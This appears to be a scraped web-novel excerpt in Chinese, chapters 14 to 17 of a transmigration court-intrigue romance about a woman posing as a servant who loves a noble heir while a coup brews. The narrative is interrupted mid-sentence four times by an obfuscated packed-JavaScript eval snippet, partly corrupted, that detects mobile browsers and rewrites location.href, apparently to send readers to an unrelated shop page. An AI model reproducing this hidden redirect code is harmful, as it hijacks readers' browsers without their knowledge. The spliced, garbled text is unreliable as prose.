说起来太子也不完全算是乱臣贼子,他只是打着清君侧的名义,要进宫诛杀皇后一干人等。他确实是被皇后给逼疯了,刺杀,陷害,皇后的手段层出不穷…… 这日,海棠树下,一壶清酒,一个石桌。 我路过时,被正在花树下独酌的李怀远叫住,他正要说些什么,又眸光一闪,顿了顿道:“随我来。” 眼看着他穿过回廊,越过溪桥,要往主院的方向走,我慌忙中下意识道:“世子,这大白天的不合适吧?” 李怀远停下脚步看我:“什么不合适?” 我凑近用口型道:“假装侍寝。” 他先是一愣,随即反应上来,故意凑近身子,意有所指似的说道:“没听说过白日宣淫吗?” “……”脚下一滑,我差点栽进池塘里。 熟悉的床榻,熟悉的帷幔,熟悉的对立而座,这尴尬的场景好像就发生在昨天。 “您确定皇后的眼线还在府上?” “自然。” “那为何不直接将此人找出来杀了?” “杀了她还会再派新的人来,再杀再派,无穷尽也。” “那您就忍得下这口气?”凭我对李怀远的了解,他应该直接正面找上皇后对峙才对。 “给她看到我想让她看到的,这不好吗?” 原来如此。 “那日皇家寺院,太子刺杀案本是皇后自己做的局。”李怀远给自己斟了一杯,道:“太子构陷皇后搞厌胜之术一案,也是皇后以身入局,引太子而为之。桩桩件件,目的就是让陛下及重臣对太子失望至极。” 她筹谋这么久,自然不允许有人出来坏她的事,所以监听朝臣动向是必然的事。既如此,李怀远索性大大方方让她监视,反正他又不是太子的人。 厚厚的幔帐低垂,我小心翼翼问道:“太子真的是拔剑自刎吗?” 据叶绥所说,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220843|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时宫城之上只余太子与皇后二人,太子又被绳索绑着,他是怎么挣脱开的?这期间究竟发生了什么,恐怕只有皇后知道了吧。 李怀远眼皮稍稍抬起:“此等事你都敢妄议?” “奴婢该死。” “得了。”他狡黠一笑,“实话告诉你,太子是皇后杀的。” “!!!”我听罢大为震惊,心脏止不住颤抖了几下,不止因为皇后敢杀太子,更是因为李怀远就这么直晃晃地把这件事告诉了我。 历来知晓如此秘事之人,八成只有一个下场,那就是死。 我压下心中的不安,故作镇静:“这么说来,太子也挺惨的。” “有什么可同情的,又蠢又坏罢了。”他揉了揉眉心,“只是我没料到,皇后竟敢直接……” 我明白他的意思。 按历朝史书记载,一般重臣或皇室宗亲谋逆,上面都会下令活捉叛军头目,交由三司会审,最终由陛下圣裁。 可是皇后竟然敢直接将一朝储君斩杀,虽然她对外宣称是太子自知罪孽深重,拔剑自刎,但这种事,既然做了,必然就会留下把柄。 可她还是做了,足见其根基之厚。 “现在太子一死,立储之事波谲云诡,暗流涌动,你道是谁呼声最高?” 我摇了摇头。 “相王。”李怀远道。 相王是陛下嫡亲弟弟的长子,老相王去世之后,就由他继承了相王之位,听闻治下严明,封地长治久安。 “可皇后一党坚决不允,在朝中各种编排相王,说他是匹夫之勇,并无天人之姿。” 皇后这算盘打的,不光庙堂之上,只怕民间都知道她心里怎么想的。她费尽心机扳倒太子,为的就是掌权议、政,怎么可能平白无故给他人做嫁衣,肯定是要立个没有什么根基的宗室子了。 我不解。出了这么大的事,难道陛下就不管? 李怀远似乎看出了我的疑虑,压低了声道:“陛下得了急症,昏迷不醒,皇后暂理朝政。” 好端端的,怎么会突然就病倒了…… 不对劲。“您怎么一点都不紧张?” “紧张什么?”他附在我耳畔,用只有我二人可以听到的音量说道:“陛下病倒皆因皇后鸩毒,证据就在我手上。” 什么!这一个个的都疯了不成。 “身为禁军,你竟、竟不救陛下?” “东巡之前就已经发作了,所以这次祭天,陛下也有背过皇后耳目查明真相之意,可谁能想到,查到的时候已经晚了,毒入肺腑,无力回天。” 恰巧此时宫中来报太子自刎,陛下急火攻心,一时便晕了过去。 他神色黯淡,语气带着凉意:“陛下前夜醒了一次,秘密召相王入宫,相王欲揭发皇后罪行,陛下未允。” 不是吧,这么深情? 李怀远摇了摇头:“陛下多年不理朝政,任由皇后参与党争,太子死后终于幡然悔悟,想借自己之死,将皇后一党一网打尽。” 原是这样……只有陛下死了,皇后党羽才会彻底暴露。 等等! 我猛然抬头看向他,惊得合不上下巴:“您是相王的人?!如此密事,世子为何告知于我?” 他薄唇微启,一双桃花眸好笑地将我看着,故意在我耳边低语:“自然是拉你上贼船了。” 说罢又向后一靠:“实不相瞒,我的确怀疑过你是宫里的眼线…不过是你自己非要撞到我门上来的,你既撞了,我便敢接着,管你是谁,既然上了我的船,那就是我的人,左右你已经下不去了。” “奴、奴婢何德何能?”我揉了揉微微发痒的耳根,明明是威胁的话,他却说的暧昧不已,雪松香将我团团裹挟住,我甚至听得到他胸膛的起伏声。 这件事简直太出乎我的意料了。 “别装了,第一次见你就知道你非等闲之辈。沈家世代簪缨,你生不逢时,可惜了,往后踏实跟着我吧,我这人惜才。” 这么说,他竟是看重了我的才能?想拉我至相王麾下?可我这般身份,连科举都不敢参加,又怎敢参与到党争中去。 不等我回答,他又说:“你那么爱读书,私塾里给你留了位置,以后别躲在长廊下听了。” 我突然心尖一颤。一抬头,见他眼里藏着细碎的光,虽没有任何逾越之举,可我却被这四周旖旎的气氛差点搞昏了头,好似一不留神就会陷进泥淖…… 还没等我将脚拔出,李怀远就起身理了理衣袍,轻拍我的发髻:“好了,继续去吸月之光华吧。” “……” 15.第 15 章 秋风吹尽旧庭柯,叶落冬来,转眼就过了立冬。 今宵寒冷,更甚昨宵了。自从太子死后,上京城街头就一直寂静冷清,人心惶惶不安。李怀远近日忙得昏天暗地,这一个月以来,我几乎就没在府里见着他的身影。 我的日子过得还算自在,一边在廊下听学,一边琢磨如何让他相信我真的爱慕于他。 叶绥和我混熟了之后,突然有一天发现我比他大一岁,之后也不再缠着我“今禾姑娘,今禾姑娘”的叫了,老老实实地把我列为婢女婆子中的“婆子”一类。 “叶小公子,我才十八岁……”虽然不再被他撩拨是件好事,但这个代价未免也太侮辱人了。 “我知道呀,可你的确是比我年长的,何况我每次看到你,就像、就像…”他难以启齿道:“就像看见了我小叔一样。” “你是说我像个男的?”这下侮辱性更强了。 “不是不是。”他摆摆手,急忙解释:“怎么说呢,就是我总有一种随时会被你俩教训一顿的错觉。” “就是说,我身上的长辈味儿很重是吗?”我的内心在哭泣。 “对对对!就是这个词,嘿,这词新鲜。” “……” 一日夜里,李怀远很晚回来。 当时我还在忙着吸月之精华,不知道他来庭院干什么,只见他兀自在海棠树下的石凳旁落座,靠着树干闭眼歇息。 自从他确认了我不是党派暗卫一类的身份后,在我面前就完全放松了下来。 院里的这棵西府海棠十分奇特,别的树早在十月初就变成了光秃秃的枝杈,只有它还在不知四季更迭地胡乱开着。 微风拂过,一场海棠花雨旋转而落,轻轻打在他鼻头。他似乎有些乏累,要听我念手中的诗文。 这酸涩的话本,还是上次在京畿时叶绥硬塞给我的。 “同病相怜,冻吟谁伴,温怀举案齐眉。”我就着石桌上的梅花灯缓慢念道。 这词太不应景了,我正要换一首读,却听石桌另一头的人打了个哈欠道:“恩爱夫妻,举案齐眉,倒是个好词。”落花如雨,衬得气氛有些暧昧。 “奴婢不认为举案齐眉是好词,相传是妻子给丈夫奉上食物时十分恭敬,恭敬到要将食盘托举至眉毛高度,所以才叫举案齐眉。很明显那位妻子处于卑躬屈膝的弱势地位,怎么能看出是夫妻恩爱?” 李怀远睁开眼一笑,随即反驳:“丈夫不也是将双手托至眉毛高度,同样恭敬地接下食盘吗?” 是啊,所以这到底哪里恩爱了? “恭敬不等于恩爱吧。”我道。 “嗯…你说得对。”他笑着舒展双臂,故意拖长了音意味不明地看着我,每次被他这么看着,我总会不由得脸红耳赤。 系统夸赞说,我将那种被心上人惹逗的少女娇羞感演的出神入化。 我:“……” 不敢和李怀远眼神碰撞,我胡诌道:“《汉书·外戚传上》说,宣帝求微时故剑,为立许平君为后,奴婢以为,故剑情深才是恩爱典范。” 他桃花眸一转,低声笑道:“你这个也不算。” “许皇后身死之后,时隔一年,宣帝就娶了大将军之女,册立皇后。” 那倒也没错,可是,“册立大将军之女与宣帝心意无关。”我脱口而出:“这属于政治联姻,就好比和亲行为,一国公主嫁于……” 蓦地,海棠树下的声音戛然而止。 我将嘴巴紧紧闭了起来,只因“和亲”这两个字,是世子府的禁忌。 听荷华说,当年静文公主远赴西凉和亲,世子足足病了一月有余,形容枯槁。之后凌安王妃便下令,谁也不准在世子面前再提起大公主,更不能提和亲之事。 当日荷华提醒我:“我知道你心悦世子,也多得了世子几分青睐,但万万不敢恃宠而骄。安乐公主有一句话说的没错,在世子心里,谁都比不上静文大公主。” 我当时压根没把这件事放在心上。 我又不是真的爱慕他,凭白找那个晦气干什么,可一旦脑子里那根弦不够紧绷,就很容易说错话来。 周遭寂静,我正打算说些什么来弥补刚才的过错……就在这时,四周的参天古木突然发出“沙沙”地响动。 我正准备转头看是谁家的花猫翻墙跑了过来,就听李怀远大声呵斥。 “退下!” 霎时吓得我一个激灵。 我悄悄白了他一眼,嘴里嘀咕着,退下就退下,喊那么大声干嘛!真让人无语,动不动就谁是谁的禁忌,谁是谁不能言说的伤痛,感情全世界就只有我的痛是头痛腰痛风湿痛是吧? 系统啧啧两声:“哎,我说你是不是破防了?” “好笑,我破什么防……” “破那位大公主的防啊。” 话音未落,葱郁的古树之上突然乱箭飞射而出,直直朝海棠树下而来。 原来他叫我退下竟是这个意思! 我一回神,府里的暗卫已经迅速出动。 系统抖了抖屏幕:“刺、刺客?哪里来的刺客?” “那还用说,只能是皇后的人了。”太子一死,相王无疑被推到了明面来,之前若还有虚与委蛇,这会儿只怕是李怀远同皇后已经撕破了脸面,皇后此举,要么是想直接杀他,要么就是想给他点教训。 还记得之前我问李怀远是不是相王的人,他低头看我,哼了一声道:“别胡说,我可是个纯臣。” 还真是纯,都纯到皇后杀入府里来了。 不过好在这阵子李怀远布防在府里的人手不少,加上他本人更是相当善战,其实我完全有机会溜之大吉。 但我不能走,这种千载难逢的时机,我怎么会错过…… 远远地,似乎有细微的拉弓上弦之声,只一瞬间的思索,我就转身朝李怀远的背后扑了过去。 箭矢如白虹贯日,“嗖”地一声,没入我左边肩部,鲜血层层渗透出来,将衣襟染红了大半。 似有一把尖锥刺入骨缝,一种难以形容的刺痛感瞬间从左肩蔓延至整个身体,我难以支撑地倒在地上。 这些动作几乎就发生在一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14229003|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我自己都没反应上来,更别提李怀远了。 他猛然瞪大双眼,瞠目结舌,哆嗦着弯下腰扶我,竟全然忘了与刺客搏斗。 还好陵光在跟前护着他,府里暗卫也不在少数,对面的箭雨逐渐停了下来,想必是刺客已经全部被李怀远的人解决了。 想来有些滑稽,上一次在皇家寺院,这一群人曾坏了我的谋划,而这一次却意外做了我的垫脚石。 显然系统也没反应过来,明明上一刻还在调侃我,怎么下一刻我就倒在了血泊里…… 故而屏幕上映着一个大大的惊愕表情。 “完了完了,你你、你竟然毫不犹豫就替他挡剑,不会是真的爱上李怀远了吧?” 我瞥了它一眼,得逞地笑了声。在掖庭的时候,曾陪着王孙贵女们学过骑射,虽不精,却也能看清形势,方才那一箭,即使我不挡,李怀远也能躲过去。 但这样难得的机会,我不做点什么有些说不过去。 李怀远终于缓过神来,将我打横抱起,朝最近的屋子飞奔而去。他的面色铁青,薄唇更是隐隐发白,抱着我的手止不住地颤抖。 说实话,我有点不太明白。 我一个小小奴婢,肩伤又不至死,他何必表现出这番惶恐之色? 还没等我悟出个所以然来,医官就已经大步跑着来了,他虽累得呼哧呼哧地喘着气,手上的动作却是一等一的干脆,忙不迭取出刀具和布包,开始消毒止血。 我以前是个惯会忍受疼痛的人,却不知道原来处理箭头会如此钻心地疼,竟然连麻药也不太管用,手心额头满是冷汗。 李怀远让我用力抓住他的手,我也顾不得礼仪,指尖深深嵌入他手背,勒出道道红痕。 “世子,我、我……”我断断续续地喘息着,身体止不住地抽搐。 他俯下身子将耳朵凑在我唇边,熟悉的雪松香传入鼻息。 “看在我为您挡箭的份上,能不能把、把卖身契还给我。” 我知道话一出口,他断然不会拒绝。果然,他毫不犹豫道:“好,我这就叫人去取,你先别说话。” 因为医官要拔箭了。 突然一股莫大的恐惧萦绕在我心头,我死死拽住他的衣袖,用力摇了摇头。 “我这一生最渴求的,就是恢复自由身,想亲眼看到卖身契……再死……也能心安。” 这一刻我的情绪也不全然都是假的,虽然深知箭伤不会致命,但只有自己真正走到这一步,才知道内心的恐惧感是完全无法掩饰的。 卖身契很快就被府里的管事呈了上来,李怀远当着我的面,将它放在烛台上燃烧殆尽。 看着那个束缚了我十几年的身契化为灰烬,飘零在空中,我的眼泪不由自主地一颗颗滑落,尽数跌在玉枕之上。 这一刻我盼了太久,也谋划了太久。 我终于,自由了…… …… “叮——已完成【让李怀远相信你爱慕他】的任务,狗血值+10%。” “新任务:与静文公主争夺世子芳心。” 16.第 16 章 世子府一处幽静的院落里,同时爆出两声惊呼。 “什么!” “什么!” 这破组织怕不是疯魔了吧,静文公主早已远嫁西凉,千里迢迢,先不说他们二人如何会面,难道要让李怀远那样的人当三不成? “我发个邮件确认一下,不会是搞错了吧。”系统边说边捣鼓着屏幕。 直到第二日午时,荷华来给我送膳食,我才明白为什么会有这么丧心病狂的任务了。 当时她欲言又止,好像有什么话要说,又半天都不肯说,最后不知为何还是说了。 “你为世子挡箭,如此情深义重之举,世子都记在心里不会忘的,他近日待你也是十分上心。但这事吧……都是命,你也别太难过。” “你在说什么?”我喝了一大口补药,没太懂她为何用心疼又悲切的眼光看我。 “外面都传开了。”她张着嘴巴,大概是知道瞒不过我,索性直接说了:“静文公主回到大郅了。” “什么!” “什么!” 我再次与系统同时爆出,难怪新任务会是这个! 心里一阵眩晕,一头栽进被褥里,滚了好几个圈,我真是万分不想去做这个什么争夺世子芳心的垃圾任务。 大好的年华干点什么不好,就是跟陵光学轻功都没这个闹心。 荷华见我如此难过,遂有些自责,直言不该告诉我这件事。但这毕竟也不是什么秘密,随便找人一打听就能知道来龙去脉。 太子与静文一母同胞,太子死后,西凉支持皇后党派,为表忠心,便休了太子的亲姐姐,静文大公主。 难怪李怀远最近这么忙呢,又要助相王,又要护佳人。 “今禾。” 荷华拽了拽我的衣袖,“你放心,凌安王与王妃绝对不会让世子娶静文公主的。” 她见我不言语,以为我伤心欲绝,于是奋力宽慰我。 “虽然王爷与王妃常年在封地,现下不在上京。但我每月奉命上报世子府一应情况,待我写信说明后,王妃定然不允他们再走在一起。” 她正色道:“当年之事,已经要过世子一次命了。” “……”鸡皮疙瘩掉了一地,尤其还是被荷华用这种严肃的语气说出来。 我搓了搓胳膊说想一个人静静,她有些担忧地退了出去,临走时一直劝我看开点。 看不开倒没有,只是有点想骂人。 “到底是谁设置的这些破任务……” 系统叹道:“唉,不是都说过了嘛,这是自动生成的。既然表明了是要用狗血事件惩罚你,那当然任务指向都是朝着狗血发展的。” “就不能通融通融,撤销任务直接放我回去吗?” 系统无奈地摊摊手,我突然想到它刚来时说的那句“穿书者一旦进入书里,就只能通关才能出去”,长长叹出一口气。 遂盯着屏幕上的任务,心道,从正常人的角度来说,李怀远是肯定会选静文公主的。 首先,他们青梅竹马,两情相悦。再者,静文虽是被休,可错又不在她,凭什么要她来承担后果,依李怀远脾性,他肯定也这么想。 其次,静文公主再怎么说,也贵为一国公主,而我的身份是掖庭买回来的奴婢,脱了奴籍也有黑历史。 “是你的话,你选谁?”我斜眼看向系统。 系统委屈巴巴,屏幕中间部分凹了下去,像是耷拉着脑袋:“这么说来新任务不可能完成了?那怎么办?” “实在要做也能做,我了解李怀远所求为何,可以赌一把。但是——” “但是什么?” “风险很大。或许会赌上我的命,而且极有可能……”会让我自己陷进去。 也许这才是惩罚的真正目的,先让我爱上李怀远,然后再求而不得。 “那就是说,横竖都回不去了?”系统义愤填膺:“我去替你求情!” 我好笑地看着它,状似不经意问道:“如果我真的回不去了,原来世界里关于我的一切都会消失是吗?” “是啊。”它有些惆怅。 挺好的,起码原来世界里爱我的那些人,不会因为我的消失伤心难过。 “那你呢?你会去哪里?”我继续问。 “可能被分配到别的穿书文里,继续执行任务。” 顿时心里有些不是滋味儿。以前孤独了十八年也咬着牙过来了,可如今多了个系统,与我插科打诨,聊天逗嘴,觉得日子也有滋有味的,也只有在它面前,我才敢做回原世界那个随意笑闹的我。 而在这里,我循规蹈矩、尊卑分明,谨慎又恭顺,逐渐地活成了一个真正封建时代女性的样子。 我有时候会分不清,到底哪个才是我?哪个才是真正的我? “叮——”一声熟悉的提示音传来,我下意识看向屏幕。 系统先我一步读完信息,惊道:“组织效率也太高了吧,登录你ID的人已经被找到了,根据指纹配对,检索出那个人是……” “你姐姐。” 什么?!瞳孔骤然放大,我张着嘴巴久久难以合上,目光死死盯着屏幕上的那行字,心头似乎有千言万语要诉说,却一个字也吐不出来。 我姐姐……她为什么要害我?我们俩感情一直都淡淡的,既没有苦大仇深地争家产,也没有腻腻歪歪不分彼此,可以说从小到大都是甚少来往的。 小时候父母忙,照看不过来两个孩子,就一直把姐姐放在外婆家养着,她很喜欢那里,也不愿回家来。后来父母要去国外的领事馆工作,她上了大学也搬到学校里去住,至此我跟她之间的来往就更少了。 再之后就是我高中毕业那年,领事馆爆炸,父母葬身火海,舅舅将我接回国安排住在外婆家里,我姐姐也从没说过什么。 她总不能因为我住了她以前住过的地方,就恼羞成怒要杀了我吧? “先别想这么多。”系统安慰我:“没准事实并非如此,人不是总说嘛,你眼睛看到的不一定都是真的,现在只是查出来她登录过你的ID,并不能证明这一切都是她策划的,组织还在进一步找寻证据。” 正说着,头顶又“叮——”了一声,总系统传来了新的消息。 看完之后,不仅是我,就连系统都汗毛倒竖,飘也飘不稳,哆哆嗦嗦从牙缝里挤出一句: “刚查到,你姐姐失踪了。” 我差点没坐稳,一头栽在地上。系统堪忧地看着我,一时半会儿不知道该说什么好。 “那就不可能是她了,她也被人害了是不是?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240189|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很有可能她也被迫穿进了某本书里遭受磨难,再不亲昵,毕竟骨肉相连,我隐隐感觉心脏有些难忍的痛。 她会去哪里?会不会熬不过去已经…… …… 十日之后,静文公主一路被禁军护送回上京,令世人意想不到的是,公主回都,竟然不回皇宫也不回公主府,而是被李怀远安排住在世子府。 但这在我看来,完全是意料之中的事情。 外头世道这么乱,李怀远又怎么放心让她身居险境,万一皇后暗中羁押了静文,以此来要挟李怀远手中的神策卫听命于自己,岂不是更加棘手? 静文公主住在最偏远的殿里,平日里她从不出院门,也没人敢去打扰她。 安乐倒是来过几次,每每都被拦在门外不得进入,禁军可不像府兵,会被她高贵的身份恐吓到。 我堪堪放下一些心来,总算用不着花精力再去应付安乐。 这些日子我安心在府里养着伤,听着不同的先生来授课,竟像个未出嫁的养在府里的闺阁姑娘般,无忧无虑。 而我的“老父亲”李怀远,即使再忙,也会隔三差五地来看看我,他给我请的郎中,还有搽的药,都是上京城最好的。 “真是越发胖了。” 我嘴角一抽:“我吗?” 正想在心里抱怨一句,胖怎么了,又没吃你家粮! 复一想,我现在吃的,正是他家的粮,于是抿紧嘴巴低着头不说话。 李怀远见我蔫了吧唧的,哈哈大笑道:“没说你,说后院的鸡,挺肥的了,宰了给你炖汤喝怎么样?” “……” “近来伤口还疼吗?”说起我的箭伤,他微微敛起了笑意。 其实除了最开始那几日,现在的左肩几乎已经感觉不到任何疼痛了。 正要回话,这时,偏远的殿内突然传出一阵乐声,琴音泠泠,清越悠远,如风入松木。 想来是静文在抚琴了。 不知道为什么,我鬼使神差地说了一句:“疼死了。” 李怀远神色一紧,立即俯下身子要看我的伤势,他直接伸过手,扯下了一点我的衣襟,一点男女授受不亲的自觉都没有。 我的鼻息和双唇都快贴上他的额头了,只见他修长的手指轻轻抚过我早已结痂的肩头,不轻不重地捏了一下,好笑地看着我。 说了句:“娇气。” “再娇气也比不得公主娇气吧。”我反驳。 李怀远疑惑地看了我一眼:“哪个公主?这和公主有什么关系……” “是没关系,小人该死,不该提公主。” 闻言李怀远有些抓狂:“好端端的,你突然这是怎么了,吃炮仗了?” “是,早起太饿,吃了两大串,小人该死。” “……” 琴声余韵袅袅,与庭院里沾染着霜色的冬日红枫相融,风一来,叶子便吹落一池。 即便是清晨入耳,也丝毫不觉得吵嚷。 静文的琴音总让我想起那句“江上调玉琴,一弦清一心”,李怀远走后,我站在窗边,手指随着琴声在窗棱上打着拍子,正听得入神,忽而听见系统百思不得其解道: “静文公主竟然从来都没说过要见你,从狗血文的套路来说,这很不正常。” 17.第 17 章 我不以为然。 “你不是说过,只要是书里没着墨描写过的人,他们就是这个世界里活生生的人吗?既然如此,那这些人又不会受制于狗血文的设定,没准静文根本就不喜欢李怀远呢。” “话不能这么说,毕竟这本书的构建就是狗血的,也就是说这本身就是一个狗血的世界。”它话音一转,说道: “你看李怀远,不就很会这一套吗?他明明喜欢的人是静文公主,却还要用暧昧的眼神看你,吊着你。” 我思索片刻,“他吊我了吗?” “你感觉不出来?你竟然感觉不出来?”系统瞠目结舌,上蹿下跳道:“他时不时地就要撩拨你一下,撩拨了又不负责,还要把白月光接回家里住,这不是渣男是什么?” 我抚了抚青筋跳动的额角,按住屏幕:“你先不要激动。” “我又不是真的爱慕他。你看,我来世子府非我所愿,替他挡箭更是非我所愿,只是想借助他的力量脱奴籍,入翰林,顺便完成总系统发布的任务。” “算起来还是我利用他更多一些,而李怀远,只是享受了一点我莫须有的‘爱慕’而已,我也不亏的。” 想了想又道:“人嘛,谁不喜欢被莺莺燕燕地簇拥着,更何况在这个三妻四妾都正常的时代。” “你、你要给他当妾啊。” 真是无语,我吼道:“……当然不是!” “我只是想告诉你,我们两个是各取所需罢了,你不要把那些情情爱爱的东西扯进来!” 闻言系统直接蹦跶到我面前:“怎么还生气了,哎,我随口一说,你不要火气这么大嘛。” 我也不明白自己突然怎么了,为什么要对系统生气,难不成我真的喜欢上李怀远,被系统戳了几句所以就恼羞成怒了? 不行,坚决不行!看来我得躲躲李怀远了。 可是任务怎么办?不接触李怀远狗血任务就没办法完成。脑海里似有两个小人,一左一右地抱臂舌战,我使劲儿晃了晃脑袋,想把他们全都晃出去。 可惜最后谁也没出去,时间一晃就来到了冬至。 晓云舒瑞,罗袜新成,这一天风干冷干冷的,说是阳来复,却一点也没有要冲破寒气的迹象,侍奉完主院的午膳后,大伙儿围在一口暖炉旁煮饺子吃。 汤口鲜美,我吃的有些急,正张着口哈气。 这时,突然从后门外进来个运菜的小贩,瞧着有些面生,抱着个大箩筐将我一撞。 还没等我反应上来,那人就已经推着车出府去了。 这一切发生的太快,我还来不及思索,低头一看,就见手上不知道什么时候多了张纸条。 背过人烟处打开来看,我神色一凛,这字……竟然是驸马的笔迹。 只见上面写着:“天宝失玉皆在吕,上下同义不同形。杖乡老翁几何许,只在丙辰不在书。” 这是什么意思?驸马为什么要冒险让人给我送纸条?难道他有危险?不对,依照驸马的秉性,即使预料到自己有难,也绝不会连累旁人。 那能是什么事情呢? 主院内室。 我与李怀远皆盘着腿端坐在榻上,呼吸急促,神情严肃,四周帷幔铺天盖地,将人影牢牢挡住。 作为世子府最安全的地方,这是我们俩第三次在这里交换情报了。 虽说我只来过三次,但这里的一应物品摆件,我闭着眼都如数家珍。不是因为李怀远的屋子太过空旷,实在是他强迫症有点严重,所有的东西用过之后必须物归原位。 榻边小竹几上永远不变的老三样,左上方的茶具、中间一本文集,右侧一把短刀。要不是那个文集每次见都不一样,我都要怀疑那几样东西是钉在边几上了。 李怀远掌心托着灯,照在那张我白日收到的字条上。他身穿单衣,虚虚披了件外裳,一动不动,像是一尊佛入了定。 反观我,就远没有如此专注了。满脑子都是,怎么又莫名其妙上了李怀远的床榻?虽说现在已经比第一次淡定了许多,可还是免不了十分尴尬。 “此事你怎么看?”良久,李怀远平静地抬了抬眼。 他神色如常落落大方,倒显得我扭扭捏捏了,我晃了晃脑袋聚起神来。 “前面两句不难猜,‘宝’字没了玉添上吕,就是‘宫’字。而上下意思相同字形又不同的字,虽说不止一个,但结合‘宫’,八九不离十就是个‘变’字了……所以这两句是在说——” 我顿了顿道:“宫变。” 如今皇后把持朝政,朝堂动向波谲云诡,深处旋涡之中的李怀远不会不知,宫变是迟早的事。 那么驸马假借我手提醒李怀远的,也就不单单是告诉他会有宫变一事,而极有可能是在暗示宫变的时间。 烛光跃动,李怀远和我对视了一眼,心照不宣地想作一处…这字条后面两句的谜底,说的应该就是时间了。 “后两句我猜是要合起来看的。”李怀远摸着下巴凝神片刻,“只是这个杖乡老翁,还真是闻所未闻……”他低着头思索,可惜琢磨了半晌也没什么结果。 就在我有些困意来袭时,倏地,一个念头在脑海里凭空乍起。 “知道了,我知道了……”我激动地用手点了点那行字,“是淮川先生!” 百年前的文苑英才,千年隐逸之宗淮川先生。 “你怎知是他?”李怀远单手撑在下颚上,闻言微微讶异地抬起眼帘。 “这是驸马曾在掖庭当舍人授课时,我和他之间对淮川先生的趣称,人到六十又作杖乡之年,而淮川先生在那一年写出了名动天下的《报策士书》,故而我与先生将他戏称为杖乡老翁。” 不知道为什么我解释之后,李怀远非但不高兴,反而冷哼了一声:“无聊。” 我讪讪笑道:“既然知道这里面说的是淮川先生,那就好办多了。” “最后一句的丙辰……”李怀远道:“他难道是想说,答案在淮川先生丙辰年之作中去找?” 我摇了摇头,“应该不是,这范围太广了。” 又道:“以前驸马教过我一个算术游戏,是他孩童时常玩的,算法是用六十甲子计数,丙辰我想想……指代的是三和五。” “‘书’应当指的就是《报策士书》。”我略一思索:“那么‘只在丙辰不在书’一句,说的极有可能是淮川先生六十岁那年,三月五日所作之词。” 越说眼神越亮,说罢我邀功似的看向李怀远,谁知他丝毫不觉我帮了大忙,还露出一抹愠色,板着脸道: “你跟驸马倒是默契的很……不过是故弄玄虚罢了,幼稚死了。” 真是莫名其妙,以如今京中的情形,驸马之处境,这哪里能算是故弄玄虚呢?能冒险把消息递出来已是不易,竟还要被人说幼稚,先生可真是冤死了。 两个人似乎都存了气,半晌无话。过了许久,李怀远才撩开层层帷帐,掌着灯从内室的暗门进了书房。 再回来时,手里就多了一本书,我借着烛火一看,正是淮川先生老年之后的残集。 我接过书一页一页的小心翻找,李怀远出去了一趟脸色倒是好转了起来,一首替我掌着灯,一手撑在身后的榻柱上。 我不知道他的火气是由何处烧起来的,自然也不知这火是怎么灭的,但此刻正事要紧,这点小事也就没有放在心上。 红烛摇曳,映得书册忽明忽暗。 乍然,我与李怀远眼神同时落向一处,异口同声道:“腊月!” 江风苦寒,岁暮鲜欢……没错,这正是一首有关腊月的诗。 这下我彻底明白过来了,驸马应该是从安乐那里或是进宫偶尔得知,皇后要发动宫变,时间大约就在腊月前后,于是忙不迭送了消息出来,望李怀远能提前攻防布局。 “腊月……”窗外的月光藏在云后,明明灭灭,照在床榻之上的光极为暗淡,李怀远那双深邃锋利的眼睛似要把纸条看出个洞。 喃喃道:“这么快,我没想到她动作能这么快……” 是的,现在距离腊月已经十天不到了。此前他猜测,皇后再怎么心急,至少也会等到明年上元节过后才动手。 我看向面前沉思之人,他的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250387|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睫垂下,眉心不可察觉地拧在一起,满心满眼都写着疲态,他也才二十一二岁而已,他也是人,有着天生对未知的恐惧和力不能及的无奈。 看着看着,心底便不由自主地揪成了一团,我下意识想伸手抚一抚他手掌的薄茧,却碍于这个世界的尊卑与性别,终究控制住了。 忧心道:“是时间太紧,相王那边没有十成的把握吗?” 